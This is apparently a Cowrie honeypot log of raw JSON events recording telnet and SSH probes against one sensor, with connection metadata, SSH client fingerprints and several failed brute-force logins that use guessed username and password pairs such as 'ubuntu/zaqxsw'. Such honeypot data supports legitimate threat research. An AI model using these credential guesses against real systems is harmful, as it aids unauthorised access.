{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44264,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c4da6185238","protocol":"telnet","message":"New connection: 128.199.8.54:44264 (159.203.135.109:23) [session: 0c4da6185238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:22.640663Z"}
{"eventid":"cowrie.session.closed","duration":32.52920389175415,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:29.170663Z","src_ip":"128.199.8.54","session":"cdb63c718b1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.528900384902954,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:32.145696Z","src_ip":"128.199.8.54","session":"5bba30909542","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45290,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1586f50e44e","protocol":"telnet","message":"New connection: 128.199.8.54:45290 (159.203.135.109:23) [session: d1586f50e44e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:36.540276Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":59862,"dst_ip":"159.203.135.109","dst_port":22,"session":"b64851d3ba61","protocol":"ssh","message":"New connection: 78.83.249.54:59862 (159.203.135.109:22) [session: b64851d3ba61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:43.962167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:43.967178Z","src_ip":"78.83.249.54","session":"b64851d3ba61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:44.090111Z","src_ip":"78.83.249.54","session":"b64851d3ba61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60946,"dst_ip":"159.203.135.109","dst_port":23,"session":"d48af4489fdf","protocol":"telnet","message":"New connection: 128.199.8.54:60946 (159.203.135.109:23) [session: d48af4489fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:44.123143Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@2023","message":"login attempt [ubuntu/Ubuntu@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:44.604909Z","src_ip":"78.83.249.54","session":"b64851d3ba61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:45.728443Z","src_ip":"78.83.249.54","session":"b64851d3ba61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.08333444595337,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:46.266718Z","src_ip":"128.199.8.54","session":"df314306754e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39070,"dst_ip":"159.203.135.109","dst_port":23,"session":"f283eb9334a5","protocol":"telnet","message":"New connection: 128.199.8.54:39070 (159.203.135.109:23) [session: f283eb9334a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:47.503169Z"}
{"eventid":"cowrie.session.closed","duration":33.75276565551758,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:48.221614Z","src_ip":"128.199.8.54","session":"72c92d6de51f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43178,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bafb78fae15","protocol":"telnet","message":"New connection: 128.199.8.54:43178 (159.203.135.109:23) [session: 7bafb78fae15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:49.717246Z"}
{"eventid":"cowrie.session.closed","duration":33.55625128746033,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:50.577586Z","src_ip":"128.199.8.54","session":"930cc6377589","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":65086,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff3b80a7229d","protocol":"telnet","message":"New connection: 212.55.149.117:65086 (10.17.0.5:23) [session: ff3b80a7229d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:50.870566Z"}
{"eventid":"cowrie.session.closed","duration":32.5844452381134,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:52.485467Z","src_ip":"128.199.8.54","session":"6f9fa87745e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51808,"dst_ip":"159.203.135.109","dst_port":23,"session":"59906e49e9d2","protocol":"telnet","message":"New connection: 128.199.8.54:51808 (159.203.135.109:23) [session: 59906e49e9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:54.261875Z"}
{"eventid":"cowrie.session.closed","duration":31.71879744529724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:54.359331Z","src_ip":"128.199.8.54","session":"0c4da6185238","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55508,"dst_ip":"159.203.135.109","dst_port":23,"session":"67e666d7c6d9","protocol":"telnet","message":"New connection: 128.199.8.54:55508 (159.203.135.109:23) [session: 67e666d7c6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:56.285723Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37960,"dst_ip":"159.203.135.109","dst_port":23,"session":"a47022fe940f","protocol":"telnet","message":"New connection: 128.199.8.54:37960 (159.203.135.109:23) [session: a47022fe940f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:02.208474Z"}
{"eventid":"cowrie.session.closed","duration":32.95808219909668,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:09.498229Z","src_ip":"128.199.8.54","session":"d1586f50e44e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60618,"dst_ip":"159.203.135.109","dst_port":23,"session":"195934d39f68","protocol":"telnet","message":"New connection: 128.199.8.54:60618 (159.203.135.109:23) [session: 195934d39f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:12.929413Z"}
{"eventid":"cowrie.session.closed","duration":32.927289962768555,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:17.050300Z","src_ip":"128.199.8.54","session":"d48af4489fdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.65062236785889,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:23.153672Z","src_ip":"128.199.8.54","session":"f283eb9334a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.210857629776,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:24.927989Z","src_ip":"128.199.8.54","session":"7bafb78fae15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.563822746276855,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:27.825587Z","src_ip":"128.199.8.54","session":"59906e49e9d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35350,"dst_ip":"159.203.135.109","dst_port":23,"session":"123e1cd09967","protocol":"telnet","message":"New connection: 128.199.8.54:35350 (159.203.135.109:23) [session: 123e1cd09967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:28.033446Z"}
{"eventid":"cowrie.session.closed","duration":33.76559495925903,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:30.051223Z","src_ip":"128.199.8.54","session":"67e666d7c6d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":48556,"dst_ip":"159.203.135.109","dst_port":22,"session":"9717f1d7441a","protocol":"ssh","message":"New connection: 78.83.249.54:48556 (159.203.135.109:22) [session: 9717f1d7441a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:35.319583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:35.324505Z","src_ip":"78.83.249.54","session":"9717f1d7441a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:35.444211Z","src_ip":"78.83.249.54","session":"9717f1d7441a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zaqxsw","message":"login attempt [ubuntu/zaqxsw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:35.960751Z","src_ip":"78.83.249.54","session":"9717f1d7441a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.68433427810669,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:36.892662Z","src_ip":"128.199.8.54","session":"a47022fe940f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:37.082559Z","src_ip":"78.83.249.54","session":"9717f1d7441a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59804,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0b7b25448a9","protocol":"telnet","message":"New connection: 128.199.8.54:59804 (159.203.135.109:23) [session: a0b7b25448a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:39.385940Z"}
{"eventid":"cowrie.session.closed","duration":120.00330376625061,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:41.256337Z","src_ip":"190.89.44.90","session":"5435645fb5ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.89.44.90","src_port":39986,"dst_ip":"159.203.135.109","dst_port":23,"session":"b26d1fda3611","protocol":"telnet","message":"New connection: 190.89.44.90:39986 (159.203.135.109:23) [session: b26d1fda3611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:42.472987Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":27013,"dst_ip":"10.17.0.5","dst_port":23,"session":"73bb09a52aee","protocol":"telnet","message":"New connection: 212.55.149.117:27013 (10.17.0.5:23) [session: 73bb09a52aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:45.573032Z"}
{"eventid":"cowrie.session.closed","duration":0.00918436050415039,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:45.582053Z","src_ip":"212.55.149.117","session":"73bb09a52aee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.11150360107422,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:48.040756Z","src_ip":"128.199.8.54","session":"195934d39f68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.02150297164917,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:50.891917Z","src_ip":"212.55.149.117","session":"ff3b80a7229d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56310,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb48862393a8","protocol":"telnet","message":"New connection: 128.199.8.54:56310 (159.203.135.109:23) [session: cb48862393a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:20:51.207308Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48710,"dst_ip":"159.203.135.109","dst_port":23,"session":"7438172e2019","protocol":"telnet","message":"New connection: 128.199.8.54:48710 (159.203.135.109:23) [session: 7438172e2019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:01.008028Z"}
{"eventid":"cowrie.session.closed","duration":35.2720422744751,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:03.305379Z","src_ip":"128.199.8.54","session":"123e1cd09967","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53814,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb73505a703b","protocol":"telnet","message":"New connection: 128.199.8.54:53814 (159.203.135.109:23) [session: cb73505a703b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:03.418214Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52186,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf9ff7386df9","protocol":"telnet","message":"New connection: 128.199.8.54:52186 (159.203.135.109:23) [session: bf9ff7386df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:03.634263Z"}
{"eventid":"cowrie.session.closed","duration":34.214956760406494,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:13.600780Z","src_ip":"128.199.8.54","session":"a0b7b25448a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":40937,"dst_ip":"10.17.0.5","dst_port":23,"session":"eed1074e43c9","protocol":"telnet","message":"New connection: 212.55.149.117:40937 (10.17.0.5:23) [session: eed1074e43c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:16.656868Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59184,"dst_ip":"159.203.135.109","dst_port":23,"session":"2708ed2dc0da","protocol":"telnet","message":"New connection: 128.199.8.54:59184 (159.203.135.109:23) [session: 2708ed2dc0da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:19.705684Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41390,"dst_ip":"159.203.135.109","dst_port":23,"session":"fee2e4c90206","protocol":"telnet","message":"New connection: 128.199.8.54:41390 (159.203.135.109:23) [session: fee2e4c90206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:24.817836Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":37240,"dst_ip":"159.203.135.109","dst_port":22,"session":"fde2d0a93917","protocol":"ssh","message":"New connection: 78.83.249.54:37240 (159.203.135.109:22) [session: fde2d0a93917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:25.255861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:25.261105Z","src_ip":"78.83.249.54","session":"fde2d0a93917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:25.385431Z","src_ip":"78.83.249.54","session":"fde2d0a93917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.290093660354614,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:25.497289Z","src_ip":"128.199.8.54","session":"cb48862393a8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"testmail","password":"mailtest","message":"login attempt [testmail/mailtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:25.906425Z","src_ip":"78.83.249.54","session":"fde2d0a93917","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44190,"dst_ip":"159.203.135.109","dst_port":23,"session":"f332778bc170","protocol":"telnet","message":"New connection: 128.199.8.54:44190 (159.203.135.109:23) [session: f332778bc170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:26.268620Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:27.030136Z","src_ip":"78.83.249.54","session":"fde2d0a93917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.85552477836609,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:35.863442Z","src_ip":"128.199.8.54","session":"7438172e2019","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.6486234664917,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:37.066722Z","src_ip":"128.199.8.54","session":"cb73505a703b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38416,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ea6cf30476d","protocol":"telnet","message":"New connection: 128.199.8.54:38416 (159.203.135.109:23) [session: 3ea6cf30476d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:37.145699Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39916,"dst_ip":"159.203.135.109","dst_port":23,"session":"361e4083bc79","protocol":"telnet","message":"New connection: 128.199.8.54:39916 (159.203.135.109:23) [session: 361e4083bc79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:37.893404Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50986,"dst_ip":"159.203.135.109","dst_port":23,"session":"906edf79f3fe","protocol":"telnet","message":"New connection: 128.199.8.54:50986 (159.203.135.109:23) [session: 906edf79f3fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:44.325754Z"}
{"eventid":"cowrie.session.closed","duration":42.519245624542236,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:46.153413Z","src_ip":"128.199.8.54","session":"bf9ff7386df9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":33828,"dst_ip":"159.203.135.109","dst_port":22,"session":"130b717c67a7","protocol":"ssh","message":"New connection: 80.94.92.186:33828 (159.203.135.109:22) [session: 130b717c67a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:48.705264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:48.902138Z","src_ip":"80.94.92.186","session":"130b717c67a7","protocol":"ssh"}
